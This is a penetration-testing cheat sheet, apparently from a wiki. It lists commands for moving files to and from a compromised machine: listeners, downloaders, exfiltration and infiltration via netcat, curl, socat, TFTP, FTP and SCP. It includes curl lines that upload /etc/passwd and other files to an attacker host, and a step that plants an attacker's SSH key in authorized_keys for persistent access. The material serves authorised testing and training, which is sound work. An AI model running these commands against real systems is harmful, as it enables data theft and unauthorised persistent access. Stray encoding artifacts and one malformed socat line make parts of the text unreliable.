File Transfer
tip
To facilitate the file transfer you can encode your executable in base64.
Listenersâ
impacket-smbserver <share> .
smbserver.py <share> .
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => <port>, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:<port>
nc -nlvp <port> < <file>
tip
-w
option allows anonymous write access.
pip install pyftpdlib
python -m pyftpdlib -p 21 -w
TFTP
service atftpd start
atftpd --daemon --port 69 /tftp
/etc/init.d/atftpd restart
auxiliary/server/tftp
Downloadersâ
wget <url>
curl -O <url> > file
fetch <url> #BSD
Exfiltrationâ
info
If not mentionned, the first CLI is from Kali and the second from the compromised machine (RSH).
Netcatâ
nc -nvlp <port> > <file>
nc -nvv <ip> <port> < <file>
Curlâ
nc -nvlp 80 > out
curl -T </etc/passwd> <url_attacker>
curl --upload-file <file> --url http://<attacker_ip>/
Socatâ
socat -u FILE:<file> TCP-LISTEN:<port>,reuseaddr
socat -u TCP:127.0.0.1:<port> OPEN:<out.dat>,creat
TFTPâ
service atftpd start
auxiliary/server/tftp
tftp -i <ip> PUT <file>
tftp <ip> <<< "put <file1> <file2>"
Infiltrationâ
tip
If not mentionned, the first CLI is from Kali and the second from the compromised machine (RSH)
FTPâ
python -m pyftpdlib -p 21 -w
echo open <ip_target> > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
Netcatâ
On target
nc -nlvp <port> > <file>
On kali
nc <ip> <port> < file
Socatâ
socat -u TCP-LISTEN:<port> 9876,reuseaddr OPEN:<out.txt>,creat && cat <out.txt>
socat -u FILE:<file> TCP:127.0.0.1:<port>
TFTPâ
service atftpd start
auxiliary/server/tftp
tftp -i <ip> GET <file>
tftp <ip> <<< "get <file1> <file2>"
SSHâ
info
Add your SSH pub key in authorized keys on the compromised machine (RSH)
echo "ssh-rsa AAAA..." > authorized_keys
Kali
ssh -i <key> <user>@<ip>
SCPâ
scp </path/to/source/file.ext> <user>@<ip>:</path/to/destination/file.ext>
scp -r </path/to/source/dir> <user>@<ip>:</path/to/destination>